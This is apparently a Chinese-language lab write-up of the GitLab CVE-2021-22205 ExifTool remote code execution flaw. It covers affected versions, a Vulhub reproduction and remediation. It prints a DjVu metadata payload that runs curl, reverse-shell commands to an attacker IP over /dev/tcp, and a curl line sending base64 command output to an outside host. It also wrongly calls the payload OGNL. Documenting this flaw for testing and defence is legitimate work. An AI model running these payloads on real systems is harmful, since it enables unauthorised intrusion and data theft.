GitLab-CVE-2021-22205

1.漏洞简介

CVE-2021-22205 漏洞详解

CVE-2021-22205 是 GitLab 中的一个严重远程代码执行(RCE)漏洞,攻击者可以通过上传特制的恶意图片文件,利用 GitLab 对图像文件解析的缺陷,在目标服务器上执行任意命令。该漏洞的 CVSS 评分为 9.9,影响范围广泛,危害极大。


1. 漏洞背景

GitLab 是一个基于 Web 的 DevOps 生命周期工具,提供 Git 存储库管理、持续集成和部署等功能。该漏洞的核心问题在于 GitLab 的 ExifTool 组件未能正确处理传入的图像文件,导致攻击者可以通过上传恶意图片文件触发远程代码执行。


2. 漏洞原理

漏洞的核心在于 GitLab 对图像文件的解析机制:

  1. ExifTool 解析缺陷

    • GitLab 使用 ExifTool 解析上传的图像文件,但未对文件内容进行严格验证。
    • 攻击者可以通过构造包含恶意代码的 DjVu 格式图片文件,利用 ExifTool 的解析逻辑触发命令执行。
  2. 恶意文件构造

    • 攻击者使用 DjVu 格式的图片文件,并在文件中嵌入恶意 OGNL(Object-Graph Navigation Language)表达式。

    • 例如,构造的恶意文件内容如下:

      1
      2
      3
      4
      (metadata
      (Copyright "\
      " . qx{curl http://dnslog.cn} . \
      " b ") )
    • 当 GitLab 解析该文件时,会执行嵌入的命令(如 curl)。

  3. 未授权利用

    • 由于 GitLab 存在未授权的上传端点(如 /uploads/user),攻击者无需身份验证即可上传恶意文件并触发漏洞。

3. 影响版本

以下版本的 GitLab(社区版 CE 和企业版 EE)受到漏洞影响:

  • 11.9 <= GitLab CE/EE < 13.8.8
  • 13.9 <= GitLab CE/EE < 13.9.6
  • 13.10 <= GitLab CE/EE < 13.10.3

4. 漏洞利用条件

  1. 目标系统

    • 运行受影响版本的 GitLab。
    • 目标系统未打补丁或未采取缓解措施。
  2. 攻击者权限

    • 攻击者无需身份验证即可利用该漏洞。
  3. 网络访问

    • 攻击者能够访问目标系统的 GitLab 服务端口(默认 80 或 443)。

5. 漏洞复现

以下是漏洞复现的简要步骤:

环境搭建
  1. 使用 Vulhub 或 Docker 搭建受影响的 GitLab 环境:

    1
    2
    3
    git clone https://github.com/vulhub/vulhub.git
    cd vulhub/gitlab/CVE-2021-22205/
    docker-compose up -d
  2. 访问 http://目标IP:8080,初始化 GitLab 并设置管理员密码。

漏洞检测
  1. 使用漏洞检测脚本检测目标是否存在漏洞:

    1
    python3 CVE-2021-22205.py -v true -t http://目标IP:8080/

    如果返回 [+] 目标存在漏洞,则说明漏洞存在。

漏洞利用
  1. 命令执行

    • 使用脚本执行命令:

      1
      python3 CVE-2021-22205.py -a true -t http://目标IP:8080/ -c "命令"
    • 例如,执行 id 命令:

      1
      python3 CVE-2021-22205.py -a true -t http://目标IP:8080/ -c "id"
  2. 反弹 Shell

    • 在攻击机上监听端口:

      1
      nc -lvp 4444
    • 使用脚本写入反弹 Shell 命令并执行:

      1
      2
      3
      python3 CVE-2021-22205.py -a true -t http://目标IP:8080/ -c "echo 'bash -i >& /dev/tcp/攻击机IP/4444 0>&1' > /tmp/shell.sh"
      python3 CVE-2021-22205.py -a true -t http://目标IP:8080/ -c "chmod +x /tmp/shell.sh"
      python3 CVE-2021-22205.py -a true -t http://目标IP:8080/ -c "/bin/bash /tmp/shell.sh"
    • 成功获取反弹 Shell。


6. 修复建议

  1. 升级版本

    • 升级到 GitLab 的最新修复版本(13.10.3、13.9.6 或 13.8.8)。
  2. 临时缓解措施

    • 禁用未授权的上传端点。
    • 使用防火墙或安全组规则限制对 GitLab 端口的访问。
  3. 安全加固

    • 定期监控系统日志,检测异常访问行为。
    • 使用 Web 应用防火墙(WAF)拦截恶意请求。

7. 总结

CVE-2021-22205 是一个高危的远程代码执行漏洞,影响范围广泛,利用条件简单。建议用户尽快升级版本并采取安全加固措施,以避免潜在的安全风险。通过禁用不必要的功能、限制访问权限和实施安全策略,可以有效降低漏洞被利用的风险。

2.漏洞复现

  1. gitlib页面 默认为8080端口

image-20250214212533719

  1. github下载POC进行检测 https://github.com/Al1ex/CVE-2021-22205

image-20250214214629964

  1. 漏洞利用

image-20250214215152123

  1. 尝试反弹shell

    • 本机监听 nc -lvvp [port]
    1. 靶机依次三条命令
1
2
3
echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh
chmod +x /tmp/1.sh
/bin/bash 1.sh

image-20250214221804072

image-20250214221728557

  1. 通过http服务实现命令回显
1
$ curl http://XXX.XXX.XX.XXX:11011/?echo=$(echo -n $(id) | base64 | head -c 63)

image-20250214220928010

image-20250214220917557

image-20250214221135864